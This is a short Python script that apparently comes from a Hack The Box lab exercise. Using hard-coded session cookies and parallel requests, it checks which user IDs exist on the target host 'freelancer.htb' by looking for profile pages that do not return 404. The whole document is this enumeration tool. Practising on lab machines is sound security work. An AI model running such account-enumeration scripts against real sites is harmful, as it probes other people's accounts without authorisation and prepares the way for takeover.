import requests
from tqdm import tqdm
from multiprocessing import Pool


base_url = 'http://freelancer.htb'

cookies = {
    'csrftoken': 'UGQHiCmTYs1FuAkSgGfkIiGxVi9hCWxs',
    'sessionid': 'cvmx6rjavdxxwb21yixeiv7n8ra434nu'
}

found_user_ids = []

def check_user(user_id):
    r = requests.get(f'{base_url}/accounts/profile/visit/{user_id}/', cookies=cookies)
    if r.status_code != 404:
        print(f'Found: {user_id}')
        print(r.status_code)
        found_user_ids.append(user_id)

with Pool(10) as p:
    user_ids = list(range(0, 100)) + list(range(10000, 10200))
    with tqdm(total=len(user_ids)) as pbar:
        for _ in p.imap_unordered(check_user, user_ids):
            pbar.update(1)

print(found_user_ids)